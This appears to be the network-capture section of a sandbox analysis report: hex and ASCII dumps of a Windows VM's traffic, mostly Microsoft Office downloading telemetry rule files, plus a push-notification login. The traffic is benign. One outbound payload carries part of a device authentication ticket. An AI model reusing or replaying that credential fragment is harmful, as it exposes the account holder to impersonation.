2024-11-17 23:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232720Z-1866b5c5fbbkcpv2hC1DFWf1yc00000004z000000000kqkp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:20 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232720Z-16547b76f7fd4rc5hC1DFWkzhw000000058g00000000cf6g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e9527be4-001e-008d-727a-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232721Z-164f84587bf28gjzhC1DFW35kg00000004wg00000000e1pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232721Z-16547b76f7fjx5nrhC1DFW4dsc000000023g00000000hf1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a5983e6-f01e-001f-229b-365dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232721Z-164f84587bf9nk94hC1DFWerbg00000004300000000020hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49728	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:21 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 51 55 73 78 75 78 30 44 30 79 4a 77 2f 44 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 35 66 36 30 66 38 65 62 39 32 30 66 61 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8QUsxux0D0yJw/DS.1Context: 415f60f8eb920faf
2024-11-17 23:27:21 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 23:27:21 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 51 55 73 78 75 78 30 44 30 79 4a 77 2f 44 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 35 66 36 30 66 38 65 62 39 32 30 66 61 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 61 78 47 5a 30 5a 48 32 69 50 4b 76 74 4c 72 72 51 57 64 53 45 4d 76 73 4e 51 34 78 42 48 4e 34 35 37 46 6e 41 52 34 34 43 2b 74 4e 39 49 44 78 2b 42 4b 4a 37 56 5a 59 74 45 79 34 79 7a 6b 6e 68 36 63 4b 6c 62 49 66 30 2b 52 6e 51 47 69 6e 2f 72 4d 52 6d 4d 55 6b 59 6a 43 69 41 38 64 32 6c 61 79 73 72 43 6f 73 2b 59 7a 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8QUsxux0D0yJw/DS.2Context: 415f60f8eb920faf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWaxGZ0ZH2iPKvtLrrQWdSEMvsNQ4xBHN457FnAR44C+tN9IDx+BKJ7VZYtEy4yzknh6cKlbIf0+RnQGin/rMRmMUkYjCiA8d2laysrCos+YzA
2024-11-17 23:27:21 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 51 55 73 78 75 78 30 44 30 79 4a 77 2f 44 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 35 66 36 30 66 38 65 62 39 32 30 66 61 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8QUsxux0D0yJw/DS.3Context: 415f60f8eb920faf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 23:27:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 23:27:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 75 45 34 76 74 6f 58 68 74 55 75 67 6b 54 77 44 5a 48 74 4a 6f 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: uE4vtoXhtUugkTwDZHtJow.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:21 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5ed283f4-c01e-0082-577f-38af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232721Z-1866b5c5fbbkbjq9hC1DFWf1es000000040g000000000vzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232722Z-1866b5c5fbbldb6rhC1DFW4bew000000053000000000p3a5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232722Z-16547b76f7fkz9l7hC1DFW35uc000000020000000000gxr3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232722Z-16547b76f7f64d6whC1DFWf9vn00000003f000000000q8dy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: e44b56bd-701e-0053-1778-353a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232722Z-1866b5c5fbb2cz68hC1DFW9ytc000000040g00000000bhg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
